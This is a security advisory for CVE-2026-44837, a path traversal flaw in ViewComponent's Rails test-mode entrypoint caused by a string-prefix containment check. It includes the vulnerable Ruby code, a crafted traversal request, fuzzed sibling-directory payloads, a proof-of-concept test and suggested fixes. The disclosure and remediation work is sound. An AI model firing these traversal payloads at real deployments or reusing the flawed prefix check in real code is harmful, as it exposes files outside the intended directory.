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ViewComponent EUVD-2026-31971

| CVE-2026-44837 MEDIUM
Path Traversal (CWE-22)
2026-05-08 https://github.com/ViewComponent/view_component GHSA-hg3h-g7xc-f7vp
Path Traversal
5.9
CVSS 3.1
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CVSS VectorNVD

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 09, 2026 - 00:00 vuln.today
Analysis Generated
May 09, 2026 - 00:00 vuln.today
CVE Published
May 08, 2026 - 23:33 nvd
MEDIUM 5.9

DescriptionNVD

Summary

The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.

Severity: Medium; test-route scoped.

Example:

text
Allowed base:  /app/tmp/view_components
Outside path:  /app/tmp/view_components_evil/secret.html.erb

The outside path is not inside the base directory, but it passes:

ruby
@path.start_with?(base_path)

Relevant Code

app/controllers/view_components_system_test_controller.rb:

ruby
base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)

The route then renders the resolved file:

ruby
render file: @path

Exploit Flow

Example request:

text
GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb

Flow:

  1. base_path resolves to .../tmp/view_components.
  2. The payload resolves to .../tmp/view_components_evil/secret.html.erb.
  3. That path is outside the intended temp directory.
  4. The string prefix check still passes.
  5. Rails renders the sibling file.

The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.

Targeted Fuzz Result

The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:

text
../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html

PoC Test

Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:

ruby
# frozen_string_literal: true

require "test_helper"
require "fileutils"

class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
  def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
    base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
    parent_dir = File.dirname(base_dir)
    sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
    outside_file = File.join(sibling_dir, "secret.html.erb")

    FileUtils.mkdir_p(sibling_dir)
    File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")

    get "/_system_test_entrypoint", params: {
      file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
    }

    assert_response :success
    assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
  ensure
    FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
    Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
  end
end

Run:

bash
bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb

Vulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.

Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.

Suggested Fix

Use path-aware containment instead of a raw string prefix. For example:

ruby
def validate_file_path
  base_path = Pathname.new(::File.realpath(self.class.temp_dir))
  path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
  relative_path = path.relative_path_from(base_path)

  raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."

  @path = path.to_s
end

Or require a separator boundary:

ruby
allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
  raise ViewComponent::SystemTestControllerNefariousPathError
end

Add regression tests for:

  • A normal temp file inside tmp/view_components
  • ../../README.md
  • ../view_components_evil/secret.html.erb
  • A symlink inside the temp directory that resolves outside it

AnalysisAI

Path traversal in ViewComponent system test entrypoint allows local attackers to read arbitrary files outside the intended temp directory by exploiting a flawed string-prefix containment check. The vulnerability affects ViewComponent 3.0.0 through 4.8.x running in Rails test mode; a request with a crafted file parameter containing a sibling directory name (e.g., ../view_components_evil/secret.html.erb) bypasses validation because /app/tmp/view_components_evil/secret.html.erb passes a start_with? …

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EUVD-2026-31971 vulnerability details – vuln.today
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